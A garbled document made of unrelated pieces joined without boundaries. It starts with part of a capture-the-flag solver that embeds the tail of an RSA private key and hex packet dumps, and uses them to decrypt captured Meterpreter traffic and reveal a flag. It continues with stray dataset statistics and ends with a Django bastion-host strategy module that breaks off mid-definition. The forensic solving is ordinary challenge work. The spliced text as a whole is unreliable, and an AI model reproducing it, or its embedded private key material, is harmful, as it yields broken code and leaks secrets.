039a+SwpvuCqe5D63a5FCvJwOvKxbRzwou7kW6ZWuIY69M9lQ2gUM6oKb0qNJBov 3Jiw5cuCoWTf1PR7Xh8RLuyldiM3sex5aiF40DC4dmf7DRAhYIXWEPxp071ibhfU AH92LgAZ4kL7kv6qy0TCD0QkDhjQzyKoHc48XusCgYAf+dtbYXXHWpwCrlUrGFgB qm/wRfdRnX4l8JwwrXggIzkGOT2fpIvmVHTeiB1MP/q2dSN2aq9hEDrNE5gcJl6w y37/Ilwb5jhA17b9A7E89RaZULQOIwmDV7PvUGPxyNLW8o8R5bClWj3kX7zamYmj TsMbiPsSvGL2Mde1snVXIQKBgQCAvG9BBHeF4eT4eV/XAFd7mvzPsiXV2AfFMZmw UncK8cU3RS9R+4AiZQamjNBFg+wqWf86/JUlcm0plL8YSgbe4vLJiqxfaV+AgAZV faatOIbwJRVv/o7GrQHjB4x4pWKylOu+Mp8RwPYo6U2KHhAbUHaOtDIGiLM35fK+ AGGVaQKBgQCCAkRxWs7d0R5WvwV8RPMS1kxRo7lOVephhNQPAdeAJ7R+58ernhP8 tr7aQ/NfokRW2rx8TJdWRFPwHk8cy1RU1u96WcKuY1dMYn5Cw+jkaNg/1sDez7AI 3KsrBUABLJAhkKIW5+3vJqnMOJdZB5sgIFkawCDI92YueciItM5gIg== -----END RSA PRIVATE KEY-----""" # Public key exchange data_1 = 0x9d6162899d6162899d6162899d6162899d6162899d6162899d6160aa9d6162899d6162af9d606288fe0e10ecc20f07eef2150be8e9043dfdf1173decf30210f0ed150be6f36162899d4862889d6357bdac5857bca55752beab5750b0aa5457bbaf5151bcae515bb0ac5454b9ab5262899d60ae899c6344a4b04c4fa4df2425c0d34132dcdf2d2bcabd2a27d0b04c4fa4b06b2fc0d4232be3dc2f20eef6100ae2f4265bfead2323d8d82723c8d22223d8a5202fc0d42321eed62223d8d82017e8e80f0adcf33905ccd32a54fada1029b9ec0868b1af1834c6b2082ef3d8572edfc83523c4a9321ba2e91456ebf22d33c5a53009e8a52d35ddaf202ebdd90e09bcec3403e6ee2508eaca590dd8d65630f8eb2a0b83d24e07cde92d51d3f3552dfef51b2ebdfe2b0fb1f42c27b1d72811b0e8513ac8ac0004ffb61857fcc53256ebff550ecbdb2423faaa1512bdca4e36eff3343afe970806dfdc282ad1d15713ffe90f2efdac2637e8c50e54d8cd5754e5d8333bdfda2555c3ac312cc2ec2200e1f3160affde4e55bfd7272cd9f80623cfda3310f9d26b17cdce2b2be8cb3635cdd45512dedf2f0fc7e85926e1ad0425e8fe4a55e1ed2400dbfc2252efb2002fd1f00810bcff1617cfd13435e3ef0930f1ed305bcae41068dbc41511fdef5416c2b63049d8dc2004bcd50856f8c8080ec4ce250de7cf5904e6d64e16c5ea2321fbf00020c3d3342afcfe3336e6f94e26cdc81324d0de572483d8302bcddc3023cb974c4fa4b04c27c7d94132dcdf2d2bcabd2a27d0b04c4fa4b06b62 data_1 = long_to_bytes(data_1) # AES key exchange data_2 = 0x2926993adf8c06b90319d8059f51ec99b401f9b42926993a292698b52926993b2926991c2927993b4a49eb5f7648fc5d4652f05b5d43c64e4550c65f4745eb435952f0554726993a290f993b2924ac0e181fac0f1110a90d1f10ab031e13ac081b16aa0f1a16a0031813af0a1f15993a2926953a2b24be3a2926983a2927913a2d24b039ec75e27c93f3e0167fb28dd2c98ea0fd2ff42887d961f4e205a619311cf4b8dd93f189d24b8eb45af277bc76cc0ea8d5a0b3332812e6c8f73cced9f1d32189311dc13c30b80ebf944228979fd974a6ce23aacf386ebb5dbc1ac414a49678e6425944edf4a56f263a9c9e2a80e4d1884b35fc8da6e68bff64d33265350bf3e2b72dc5b0f0580cc12925074fc5505c9cd250b279150b9701cf5b2666ae9d0a0722f8b72aed8ffaa51f43594ebebe13b5bcb75e8a33c8cd396445c0c9da3d5a5b862bde38f62d13afd5387a62abce70e3d4192e3e96996ceaa0d1b0c7796028bdeabfbd8eddd13576f23135e1e7b06a0057a4b07bc786394ba1cd691547fad5db3a2926953a2b269d3a2926993a2926813a2d27542832d93a2fb12d08349729256baeb187 data_2 = long_to_bytes(data_2) # AES Challenge Response data_3 = 0x7e30af14889a3097540fee2bc847dab7e317cf9a7e30af157e30af7c7e30af144a1999b733e68b894ee6b64581a31e4f800f1e2413c6ffabc4690df0ffdf5ad592f3d3de710b43f85611c113dff2d03a4a91fc6cf046cafc37d823f986dee137e05368e717be6acbd31e87435f8bc7601dae969be7b5888050246f2f01b9cab8 data_3 = long_to_bytes(data_3) p = Packet(data_1) p.describe() p = Packet(data_2) p.describe() sym_key_type = b"" sym_key_value_encrypted = b"" tlv_units = p.get_parsed_units() for i in tlv_units: if i.get_type() & TLVType.TLV_TYPE_SYM_KEY_TYPE.value == TLVType.TLV_TYPE_SYM_KEY_TYPE.value: # 0x01 => AES256 sym_key_type = int.from_bytes(i.get_payload(), 'big') if i.get_type() & TLVType.TLV_TYPE_SYM_KEY.value == TLVType.TLV_TYPE_SYM_KEY.value: sym_key_value_encrypted = i.get_payload() sym_key_value = extract_aes_key(private_key, sym_key_value_encrypted) print(f"sym key type: {sym_key_type}") print(f"sym key value: {sym_key_value}") p = Packet(data_3, sym_key_value) p.describe() data_4 = 0x2ab4ef55dc1e70d6008bae6a9cc39af6b7938fdb2ab4ef542ab4effd2ab4ef54b835d361e2e784b4e2e9168aa4cd074c5b434009388fb2550a98ee6d49ea108c50b1f1b6c4c17a6fa0b01cd5e04f5fe5ba536da008841f20cef4324fe752f92923ea05e1d683bf991306b6878e301a68c933579c58c47482afc576545cc3cc2610d3f2ee70a3a36404996ff877b3a7756efe57bd043ad32f04ca9a137846cfeb6f53c817f32986117c0f26fc30b60b70a1f072987c80eda747fcc5ae85da2ed3 data_4 = long_to_bytes(data_4) p = Packet(data_4, sym_key_value) p.describe() data_5 = 0x9774b27361de2df0bd4bf34c2103c7d00a53d2fd9774b2729774b20b9774b273c4810975d742c87f1dbb267f2eed69b657f8c0dff6a555c9a8ca40d0a5af20555ea1b82752b3e44882a6259177e49fc1b0055d8c6818a69c55fa561575d40941bfb5fac6c788277245e2e6b8e0dbe6d17d13f6521735472c1ba1231f5dd81aeadd5c30b021eb68ccb9e96b4e5725d368 data_5 = long_to_bytes(data_5) p = Packet(data_5, sym_key_value) p.describe() data_6 = 0x2ab4ef55dc1e70d6008bae6a9cc39af6b7938fdb2ab4ef542ab4efdd2ab4ef5474c8237edff1d444d0389b1d10348bc29cb388741de4f65bfea7d1ef01ba63507403437d66d7209c98a7b49f89ff8eec1593ed43d69067e9a4eec014d05835a5f97670ce410ffca96b824c7f1819be17a64258e544232ecad7ae3e85ce2d6248651392f0df5ae625e8b307843a2cfac09e9aff5a085d13f2e2715cada7059a2f data_6 = long_to_bytes(data_6) p = Packet(data_6, sym_key_value) p.describe() data_7_1 = 0x2ab4ef55dc1e70d6008bae6a9cc39af6b7938fdb2ab4ef542ab4e0dd2ab4ef54f0cf47e0354cd5af2825b5678d4f1e99adafb78d3eee5bb7254518dba3671e0a08437372956583dbf69d7f18155de03c0904933e7863c200c435041fe5336c46db141be5a5118452384a81aaa96d3f71dc9b867305dcc8de89c29d307350ae375de9d969324b5528da7ba9b4558dc1fa473c276ee0e931248406b8c2450c1971be495f27397433a79a742acd027cb342406c21ac5582e93cc7fa93c4eb8abac12e13a83d9f3e9cfb81fa702f947bea26557f894a937d4c497c76789eb36fa82bb351050e7cb8ff9af8319ecfc0d0d38e69b16126cf202e6c46ce660ef92cd6c3b5f6ad40a13ce4d691eaf3f380e6dd2257127351527df06b077cf44e6c93b27c0f61729b25695a39f0715a400d0b02edbc5604ae64bac0ea17e595ec8e0a748b7a23a6d5ebe31e8c7bd72b6d2f936db75097cc1d453b91c5a351177f1ccfb33c105d55e613229a261480b8e39bfe42932da7d41d6abc51d50fad29c448c66394149a5ebea9f4c0365370c0d0c7e1f3876a41ff4876d3f52cdc3546677b99c149bfc3f1f95907ede53ce3ee564a3fb96d5b79aa71d2aa897290a7fe048edb9ad7b20d57051d4947b8d8d0974bca533ef7ddf41fbce4a9bda693e43cdebe3f734ab99cebd9fef203acc13babeb7ea5277f87f01cedd817008c78c52cfaaed3bd93b3b9999f821a170ed13349cec018f403938ebc34da4c0ba1711ac74b49c5d89e0bf477460b864f01b040b8396ada91740dfad17feddb8de4d40624f2de61cb7e71345795ce4974b11e9c127d7454fdebef1a0083667b637bc2d826d89145219e04f71028efcff1f8b48e5c48b4e8f57f04af6b213477f4d5fcb22685fc441aece2798c89db66904dc75c4fab5710be2fa406fae6cb8a4bb19d5b66b48ede801c9ad49f7891ce60f4fa4e950f2915a99e89d6ce7b7dd66518700ad2cf0501d26338d9d89d7db70838fa615a49381d3e0a4ff6375f1c22c96c4bbfaa46c5152b98462ca4f572e93681aa75276373b71ace5135c69967d5b7fefb1b38ae1d0394082265d5fedf5304a48030d420700a1407690cc3167f917d776193deeb30a8ca87e7ec6910622a5d1fbd568f5862e467585c20501b45a10c7411c89804772022dbe1253e2382bd0781213f95fc4668f7bafd4c047982a18151b23dd83c64e0df1a0d0507528ee14b6da776a3daab326ca042dc0dd6e9a1af3ea5dc919f0a64994e4e18838c7a76647a80ac2e505f831631d0836a3a0be3882c9969591bd3af6bce48fda719fb1a19cd488fb15b16126d958ffd1b9cf16327c4758be17a11f4fa922e3262dc93fb2aebe8a1910e9a30afa653d948193fa15841b45813f3e4df73c82a1b7e0249a72025bfe93fea53a9f39aabfaf30b47fae9ded031fe926bc48c50058e9e9f571d3abeb11bda83d32783f6bf446a6348157030a11a5513e485a8951c21700a326601dba89dedb7322a873e4f4211310f36aa7402c503a8ff1580049e9be5af5a583ce0b9ba8e64f62a1085b1b126ebe6a0ebb628907232a8e6ce72b18802f290c2d5d4c3a563d69effd2b67413da57d9f96c988e306064a0d8c12afda4cca067f943912833edb89839ad58da9de60ba4de8c6788549d0b4fbadded1b8ab9ee21a485853e4d45a1107b75aaea44615955881be9e36253b6ea03aa768090bfe2a25cb394b4e23c952266fccef4063fa073cbf32d73ab26f549bc0703d84111435ac6eb504d0e9557369c11a85681860beb9e886b1bece6313d6957eaa6386d0e38eb9375336b2ae7a437ff395491a8edfa9cb032ee2d2553d240f7f129f3fd84d3d52b5ee1f9e7cf11a529611115f2b4ff900d043dfefc76ff11bdecae52a69e7ef2083ed269494b45489c58b7a348be04205cd8623a2a7bbd7fd6bde3390a25919422a39f3742e5aa22cef47e3e76458c77cf53ad27fa1645994163a21057b883304dcfe38d001c975af069722770a80cbf399ae7032a00e1800af9e19cca011523821888200b33d484ea58fb0193b8 data_7_2 = 0x0adeba7636d4fb295f00a9f15c576bd4bd8fa7d21ab31cfdf8757fa4f31392fcd4ecaf28c3b73a40471f51a271a4e1345e52cc5ee16c3939f1bdbd7937c1e58c89abca7ff0a8c8b9d206237f39cfd1e9ad247f9f9d643d6f49e7580a2a4e1f8104fd76949311168190d8f361ef2f7de2cf5f03dfc3fee12f8c6080e0be3509ad0be553c0d01c6aa01ea7100ad07a679ec18d05bb9981898ad079ac1b365fc1a2a3fa2a0510dee4bb0a950f93563aa5c479b5118af7804481500dde57d4359b0b55021b6e03a31b4a8dbb0ee2cdd84ab617f9af5ed9afe8c36c94a20044c570ce9b21bfa26f71b8d99ec741dca04469d2ea1161e1c018f6ca0fd1d43fb96058942b5403005764339802302b4e1626676f09f4b5a3dd42e134154affe5cad4cb0827926b1d2743f64536aa2074ea2c59ba10517ca817c4478da989497b24b1708bfee0f450ac13395cc7254585b330a83d34449d70c7754f61e665513ae438fa0c085e764d4967f9bdfc1236e513120531d3d41292422d7bd030ae77a75ee35f1655e78cc7fe24df8f4e55757ce337a3f2f510d611fb005b7282930f357b966b64b17f1d2ab96b0bd82395dee72b78961e741560f0208c9cc627f73a85d8f4de8d7c581ed0ed4330dfa86d836ba8e72ea77d1e996c99baeaa91531c6a98b097f4d50cba465ed1327d6f09bd9e5c3a42771077dd91e86076a2a2aaca0fa729f4aa94eb6166ad7d4940a29e891cf26d880819c51939ac8b5f6fb99656e3224385083c1d3507192a00d967f376890c9d6589fcfe4bbbee6d86352033a75c54da6f03e00afdbc375a727fe4feb44eecee2ba4dceed6cf586aa14fb03d2b3b0871e8df84cb21d6fe70c1ed5829b75237aeb0f5680051eb35f1af5126216530b46f8434588e867a8959261661f811fea5d9342f9654dd2e05965523cfc3c0c2e21de1507c8bfd2f933c5d108a788f44637150ee35b0edade1350bcac7d71bf40d5bd267586de7d6cbe0c00861d3551142a9ea43681bee218a1907df11c130b8d1a9f97b56144b96e537bd0c39282f2f9324230acdc0dab44d1919d06b72957239f179c0f51fa7b354430c0d78d837efb9033f619908ffee5cdb136e021a90bb3f1c9132286d51b41c4e34c1f4a657dd0aaae3e06c1a00fa12911f19df7542a0bb63bdb95891781d3e728afc1510285a9f4f78e7515a6e05dbe3df5b63d1c1bd5a7f861943f6a9c6f92cf510d5ddedcc26cd5c205a5472f63239af4903ee290b94d495a7da1ce998888a223ed10a434413f645ce1df5568e19d2291c0984c850173e3a1268be20643cca20bb69d16dbe944f1b6a7aeca513331144c26a6739079f574954137b6acf1f2502c0ccd840bbb98baf39ff7e66ba0b4cb9ad69b10b6f8ea6744d845039a727d045b2c9e1c520887ac110662b23e88c25eba86c4505c81199cf7816a0cd7e6c77bba2b601d8930c752e839ad4e8a00f596c51fb73ddb77f196b5d85d4ea3e29237e69dc97b5b1d30ee5f1fe333d5442b5f99de9ef58ae636affb546c9410b42ad82f470c05e6e5d59300e014ed2b90292165caf2ceaa518bf8278bf785bbfd856dec74f51b6bc8edd8a44133e0e710ed093c73183be7fe070b68ce05fee41d5481429c2f1d23ec7f0b5fcbd09a52a26fa44adbc18045b6b78293eb708f90d2262a5fe347c9682c0983167be9ce12169d68256caeb6a0cb48de685086e96bd3ccda33961562aa7f8641ebc57a2b1f751614b8ccd7ef44c753c2610eb617ee4ada66e443a006150f5f5005e36d7512eacdb13e8fc285903fcc599dafd4108ae5897a319341cd1a8839562f80faaecb6c6012ec769285063488b716a33d9b8ceff6e83e37f0bc4a35fc727dcd48d2ff146b2e341a71feb99c21b43d809d798d0d517025c82bcc06c6e92313e4a4e1bf58c0fa5b4bc2becda931d79a2a7dd4e30691358764020513416967426369696bd58c5e1cf996711e861e3fa53b03ff30cd42d19606996cab8429c254782cf5d7421ea1354318cf1fd2e87a7a0d54376dd2d45435b63e7afcd0b0f6a995ffb68b2e data_7_3 = 0x629195c54999eb50b1040eabb2a15ac592ec6d5a427ff07a648c723699fb2afe982ef79c7344d1c7bff73b3471cee23b3749070ba8746eaf08fbe13b52a6a87319e4e7a8d9da09fe497c9748277303de29d6123700753b4dfe9a7b194bc998a0442cd0f0d611da8dae2fb966eb1f4a36f8d0aa920529d0671c2c0a904b5e8c2aa421a0c06fb5f015e3738ec82fa8896e1a46e9079462e62a457a37c7be8c632abdc49b4ae84eb889e9c2a14caebd6282f6777a1d969f7fa3f625b9ccc19cf8602c17b884a0bbdbd5d2e5f3fefaec3b1d047d4b420ef5f8977982bc7d146581e32e6df8c675ae258d0cc801be8440adc6da6f7c0d29a999fb7d53d05a4477661e3ab7035de030cffe38bfbe9f347390d766090537e70cee56f430df1a62bbbaa0a23a342e48b48183bd2076739586c499ee87bc4fb3b7d77e5f602cdfcfecb3a1719e83d704969e47fe90dd73ad05ae4e1270935e3322b7799783c8decc960fcd965d406849da5241b28e144df1bf7f0e3bee6ff6fa0ce8ae27aed3d396b8e001ab2d6b6495fdfd8a72408381dc6405b844125c9f0e03b49300375a37b31b4cbf2b0c2a96eaf54ada424b39aeb8cbf3fe2d6f5670422caf46e110844430ea6804bbf548682f5831c965eca3e20eca740b2657780d3e657f51bf856e545ee8439adab5865f36d9e4780cb7ca071697909f6cd44daedd1850d6860cf1a2825b7317c060532be3a9876a90f0f6c73f0d703be22663adc7d9c9a0deaf19b84c8530e754928aa90bea9fd5d290246d233774f77c109d2a7e116c08df29d7a4a35ee7e973dbe147f5a3fa2e96b017a93d2bf958e773938a4ff738fae35b1c5ac12e7e74366e94571f80fb627b5d475dd1de9a84aa4902f284c0dc87f2dd79510285bdfea81f7a09ed65fadf957067068cb2d0cd95c0171efd6a8d83e7612d0b53657a29846a0de095e1b4dbd4dc2ad9e41b4f64fcfc49f1674382bbb44276e9a2fdf19a231eb40793a28234decc2b67e7a4d9cbac4191be890fbe2c6715ac845b4bd5665f65992395cb374e403b4ddfe1b5cece91f49221024bc4331610af2c5ca0bf3f96d0a1da140355083953121eb336cca0e2574be56ca7ee67de5feb7d5be1d0f33dae02971062326c449d0188cda692b5df4a28975d17f8d2203ae80986d6b5a26395a16dce74fc81d9bc6229f75e90707a25602324a741e58c60e7b001d06b7190c385641c24abb413b3403bdbc99f3ea9ac6f280324979a62b0b42cf487266522dfbabea29feff1c3f6bdca0101d1d0d933aa1a94279ca4eea17ca2457a113f77b48bb3fe42efa717afadb8feef471c3b976ce20f00ff4fee9c6d7f9051a2553f0c0d2c9cfa97d79bffdc04564203a2b9b207ea749acc9fe5a61a45bb764f9a96817ab06238a9ee6841bfffe0bd8b2b67f936ed4bd7174f9b66d2b6146616d2a0d716116abdb1af4dd9dbcf7f55463ba3e236fc13ecbe17e3d6476cc7401f6c982f0f6a48b6e49b330d2d9053ae086802994f2a1babc4a7 data_7 = long_to_bytes(data_7_1) + \ long_to_bytes(data_7_2) + long_to_bytes(data_7_3) p = Packet(data_7, sym_key_value) p.describe() data_8 = 0x2ab4ef55dc1e70d6008bae6a9cc39af6b7938fdb2ab4ef542ab4ee5d2ab4ef54b331c9737be118ef35dd67498b29b1f6dd1a40aa5fb02bbbb16d2a6ab09dbc1ded16a99e368ca670eadce5ff3c789bedeb7c1450e40adfec579e961de0e878f996c7eb7b5edc1498cea8b5015fb9d325dae1b057942cf9b1b7d69615e062c9ec4861f860040e4fe06956470c560fe44d8f711856768fec8405e481c5fc6fe0c87d042f40f2d34177b4f937b9c61b88368bb661393f4cacedf87928d514fa305f87a581d52280e68b6e504a77f11fef5249d7b898bb0992b39e1ace0368fe75d73b57380051439c310e65d044ee588bb4fa45bb5cb45a5aee5ef98064b7aa1358e2cd7d042b8c4d418036f00e27ab2576448dcaf5f9c69f4038ed8df9df9b5ac4 data_8 = long_to_bytes(data_8) p = Packet(data_8, sym_key_value) p.describe() data_9 = 0x2ab4ef55dc1e70d6008bae6a9cc39af6b7938fdb2ab4ef542ab4ef8d2ab4ef549df15c8d63e084ea41796e1080c422c10c4af26c0b5563cb3058bd6e4aa3f2cc22de1c6edf7e6468ad7e1ff8fa11bd0d2955218906c89bc9c1aca68485ba41d6c1363d26e1ca77e379eede5843a78cf2890a4a4d48d532564d081638df298d10b5b8e57b4714d29993407e26b857a054f18cbba0769a9d7a3ab9b2fc503b9b4e0f13e3e0e4086d9def861eb75b54df80426839c540b6836702d3585c1d11b1fcc1f56d6a2a58bee99fa22ea3792bd764075cdd0bfe11d2a7953c9174210b35afc3a38ab0ff13abebf06b74046bc902df data_9 = long_to_bytes(data_9) p = Packet(data_9, sym_key_value) p.describe() # payload: b'flag{Meterpreter_Has_A_Greater_Enc_Method_Than_Shell}'
126.564516
2,933
0.964572
400
15,694
37.5025
0.365
0.008399
0.010999
0.010999
0.027132
0.020332
0.006533
0.004
0.004
0
0
0.513147
0.018542
15,694
123
2,934
127.593496
0.460754
0.009558
0
0.113924
0
0
0.111926
0.102465
0
1
0.79256
0
0
1
0
false
0
0.025316
0
0.025316
0.025316
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
1
1
0
0
0
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
7
1924b5c9fcaa204c7a5b73f9cdf567c6e2211721
22,778
py
Python
bastion/component/strategy_v2.py
jin-cc/bastion-test
9feecbe927e5446213ab25b4da4a5eca23cf6bae
[ "Apache-2.0" ]
8
2021-12-23T03:33:10.000Z
2022-03-29T03:29:01.000Z
bastion/component/strategy_v2.py
jin-cc/bastion-test
9feecbe927e5446213ab25b4da4a5eca23cf6bae
[ "Apache-2.0" ]
null
null
null
bastion/component/strategy_v2.py
jin-cc/bastion-test
9feecbe927e5446213ab25b4da4a5eca23cf6bae
[ "Apache-2.0" ]
6
2021-12-23T03:33:05.000Z
2022-03-03T11:11:23.000Z
import json from django.http import JsonResponse import logging from bastion.models import StrategyAccessModel, StrategyAccessUserGroupRelationshipModel, \ StrategyAccessCredentialHostModel, StrategyCommandModel, StrategyCommandGroupRelationshipModel, \ StrategyCommandUserGroupRelationshipModel, StrategyCommandCredentialHostModel from bastion.component.strategy import BaseComponent from bastion.forms.strategy_v2_form import AccessStrategyV2Form, CommandStrategyV2Form from bastion.utils.status_code import success, error, SuccessStatusCode, ErrorStatusCode from bastion.component.common import GetUserInfo from bastion.forms import first_error_message app_logging = logging.getLogger("app") class AccessStrategyV2Component(BaseComponent): def _get_one_access_strategy(self, data): status, message, query = self.check_unique(StrategyAccessModel, {"id": data.get("id")}) if status: return JsonResponse(success(SuccessStatusCode.MESSAGE_GET_SUCCESS, query.to_all_dict())) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message=message)) def _page_access_strategy(self, data): page = int(data.get("current", 1)) per_page = int(data.get("pageSize", 10)) search_type = data.get("search_type", "") search_data = data.get("search_data", None) filter_dict = {} if search_data and search_type: filter_dict[search_type + "__contains"] = search_data query_set, total = StrategyAccessModel.pagination(page, per_page, **filter_dict) end_data = { "current": page, "pageSize": per_page, "total": total, "data": [query.to_list_dict() for query in query_set] } return JsonResponse(success(SuccessStatusCode.MESSAGE_GET_SUCCESS, end_data)) def get_access_strategy(self, request): data = request.GET.dict() if data.get("id"): return self._get_one_access_strategy(data) else: return self._page_access_strategy(data) def _create_or_update_access_strategy(self, form, create_user=None, query=None): strategy_info = form.cleaned_data["strategy"] create_dict = { "name": strategy_info.get("name"), "start_time": strategy_info.get("start_time") if strategy_info.get("start_time") else None, "end_time": strategy_info.get("end_time") if strategy_info.get("end_time") else None, "file_upload": strategy_info.get("file_upload", False), "file_download": strategy_info.get("file_download", False), "file_manager": strategy_info.get("file_manager", False), "copy_tool": strategy_info.get("copy_tool", False), "login_time_limit": strategy_info.get("login_time_limit"), "ip_limit": strategy_info.get("ip_limit"), "limit_list": strategy_info.get("limit_list") if strategy_info.get("limit_list") else [], "user": create_user, } if create_user: try: access_srategy_object = StrategyAccessModel.create(**create_dict) return True, access_srategy_object except Exception as e: error_info = "[ERROR] Create access strategy error: {}, param: {}".format(str(e), str(create_dict)) app_logging.error(error_info) # print(error_info) return False, None else: try: create_dict.pop("name", "") access_srategy_object = query.update(**create_dict) return True, access_srategy_object except Exception as e: error_info = "[ERROR] Update access strategy error: {}, param: {}".format(str(e), str(create_dict)) app_logging.error(error_info) # print(error_info) return False, None def _create_access_strategy_user(self, form, strategy_query): user_info = form.cleaned_data["user"] user = user_info.get("user", []) user_group = user_info.get("user_group", []) try: if user: for _user in user: StrategyAccessUserGroupRelationshipModel.objects.get_or_create(**{ "strategy_access": strategy_query, "user_id": _user }) if user_group: for _user_group in user_group: StrategyAccessUserGroupRelationshipModel.objects.get_or_create(**{ "strategy_access": strategy_query, "user_group_id": _user_group }) return True except Exception as e: error_info = "[ERROR] Create access strategy user error: {}, param: {}".format(str(e), str(user_info)) app_logging.error(error_info) # print(error_info) return False def _create_access_strategy_credential_host(self, form, strategy_query): credential_host = form.cleaned_data["credential_host"] password_credential_host_id = credential_host.get("password_credential_host_id", []) ssh_credential_host_id = credential_host.get("ssh_credential_host_id", []) credential_group = credential_host.get("credential_group", []) try: if password_credential_host_id: for _password_credential_host_id in password_credential_host_id: StrategyAccessCredentialHostModel.objects.get_or_create(**{ "strategy_access": strategy_query, "credential_host_id": _password_credential_host_id }) if ssh_credential_host_id: for _ssh_credential_host_id in ssh_credential_host_id: StrategyAccessCredentialHostModel.objects.get_or_create(**{ "strategy_access": strategy_query, "credential_host_id": _ssh_credential_host_id }) if credential_group: for _credential_group in credential_group: StrategyAccessCredentialHostModel.objects.get_or_create(**{ "strategy_access": strategy_query, "credential_group_id": _credential_group }) return True except Exception as e: error_info = "[ERROR] Create access strategy user error: {}, param: {}".format(str(e), str(credential_host)) app_logging.error(error_info) return False def create_access_strategy(self, request): """ { "strategy": { "name": "", "start_time": "", "end_time": "", "file_download": "", "file_manager": "", "copy_tool": "", "login_time_limit": [ {"week": 1, "time": [1, 2, 3, 4]}, {"week": 2, "time": [1, 2, 3, 4]}, {"week": 3, "time": [1, 2, 3, 4]}, ], "ip_limit": 1, "limit_list": [] }, "user": { "user": [1, 2] # 用户id "user_group": [1] # 用户组id }, "credential_host": { "password_credential_host_id": [1, 2], "ssh_credential_host_id": [1, 2], # 这个是资源凭证的ID "credential_group": [1, 2] # 这个是凭证组ID } } """ data = json.loads(request.body) form = AccessStrategyV2Form(data) if form.is_valid(): status, message, query = self.check_unique(StrategyAccessModel, { "name": form.cleaned_data["strategy"].get("name") }) if not status: create_user = GetUserInfo().get_user_info(request) create_access_strategy_status, query = self._create_or_update_access_strategy(form, create_user) create_access_strategy_user_status = self._create_access_strategy_user(form, query) create_access_strategy_credential_status = self._create_access_strategy_credential_host(form, query) if create_access_strategy_credential_status and create_access_strategy_status \ and create_access_strategy_user_status: return JsonResponse(success(SuccessStatusCode.MESSAGE_CREATE_SUCCESS, query.to_all_dict())) return JsonResponse(error(ErrorStatusCode.SERVER_ERROR)) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message="策略名称已存在")) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message=first_error_message(form))) def _clean_relationship(self, query: StrategyAccessModel): user_relationships = query.strategy_access_user_or_user_group.get_queryset() for user_relationship in user_relationships: user_relationship.delete() host_credential_relationships = query.new_strategy_access_credential_or_credential_group.get_queryset() for host_credential_relationship in host_credential_relationships: host_credential_relationship.delete() def update_access_strategy(self, request): data = json.loads(request.body) form = AccessStrategyV2Form(data) if form.is_valid(): status, message, query = self.check_unique(StrategyAccessModel, { "id": form.cleaned_data["strategy"].get("id") }) if status: update_access_strategy_status, query = self._create_or_update_access_strategy(form, query=query) if update_access_strategy_status: # 清除所有关联关系 self._clean_relationship(query) create_access_strategy_user_status = self._create_access_strategy_user(form, query) create_access_strategy_credential_status = self._create_access_strategy_credential_host(form, query) if create_access_strategy_credential_status and update_access_strategy_status \ and create_access_strategy_user_status: return JsonResponse(success(SuccessStatusCode.MESSAGE_UPDATE_SUCCESS, query.to_all_dict())) return JsonResponse(error(ErrorStatusCode.SERVER_ERROR)) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message="没有找到对应的信息")) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message=first_error_message(form))) def delete_access_strategy(self, request): data = json.loads(request.body) id = data.get("id") status, message, query = self.check_unique(StrategyAccessModel, {"id": id}) if status: query.delete() return JsonResponse(success(SuccessStatusCode.MESSAGE_DELETE_SUCCESS)) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message=message)) class CommandStrategyV2Component(BaseComponent): def _get_one_command_strategy(self, data): status, message, query = self.check_unique(StrategyCommandModel, {"id": data.get("id")}) if status: return JsonResponse(success(SuccessStatusCode.MESSAGE_GET_SUCCESS, query.to_all_dict())) return JsonResponse(error(ErrorStatusCode.INPUT_ERROR, custom_message=message)) def _page_command_strategy(self, data): page = int(data.get("current", 1)) per_page = int(data.get("pageSize", 10)) search_type = data.get("search_type", "") search_data = data.get("search_data", None) filter_dict = {} if search_data and search_type: filter_dict[search_type + "__contains"] = search_data query_set, total = StrategyCommandModel.pagination(page, per_page, **filter_dict) end_data = { "current": page, "pageSize": per_page, "total": total, "data": [query.to_list_dict() for query in query_set] } return JsonResponse(success(SuccessStatusCode.MESSAGE_GET_SUCCESS, end_data)) def get_command_strategy(self, request): data = request.GET.dict() if data.get("id"): return self._get_one_command_strategy(data) else: return self._page_command_strategy(data) def _create_or_update_command_strategy(self, form, create_user=None, query=None): strategy_info = form.cleaned_data["strategy"] create_dict = { "name": strategy_info.get("name"), "start_time": strategy_info.get("start_time") if strategy_info.get("start_time") else None, "end_time": strategy_info.get("end_time") if strategy_info.get("end_time") else None, "login_time_limit": strategy_info.get("login_time_limit"), "user": create_user, } if create_user: try: access_srategy_object = StrategyCommandModel.create(**create_dict) return True, access_srategy_object except Exception as e: error_info = "[ERROR] Create access strategy error: {}, param: {}".format(str(e), str(create_dict)) app_logging.error(error_info) # print(error_info) return False, None else: try: create_dict.pop("name", "") access_srategy_object = query.update(**create_dict) return True, access_srategy_object except Exception as e: error_info = "[ERROR] Update access strategy error: {}, param: {}".format(str(e), str(create_dict)) app_logging.error(error_info) # print(error_info) return False, None def _create_command_strategy_command(self, form, strategy_query): command_info = form.cleaned_data["command"] command = command_info.get("command", []) command_group = command_info.get("command_group", []) try: if command: for _command in command: StrategyCommandGroupRelationshipModel.objects.get_or_create(**{ "strategy_command": strategy_query, "command_id": _command }) if command_group: for _command_group in command_group: StrategyCommandGroupRelationshipModel.objects.get_or_create(**{ "strategy_command": strategy_query, "command_group_id": _command_group }) return True except Exception as e: error_info = "[ERROR] Create access strategy user error: {}, param: {}".format(str(e), str(command_info)) app_logging.error(error_info) # print(error_info) return False def _create_command_strategy_user(self, form, strategy_query): user_info = form.cleaned_data["user"] user = user_info.get("user", []) user_group = user_info.get("user_group", []) try: if user: for _user in user: StrategyCommandUserGroupRelationshipModel.objects.get_or_create(**{ "strategy_command": strategy_query, "user_id": _user }) if user_group: for _user_group in user_group: StrategyCommandUserGroupRelationshipModel.objects.get_or_create(**{ "strategy_command": strategy_query, "user_group_id": _user_group }) return True except Exception as e: error_info = "[ERROR] Create access strategy user error: {}, param: {}".format(str(e), str(user_info)) app_logging.error(error_info) # print(error_info) return False def 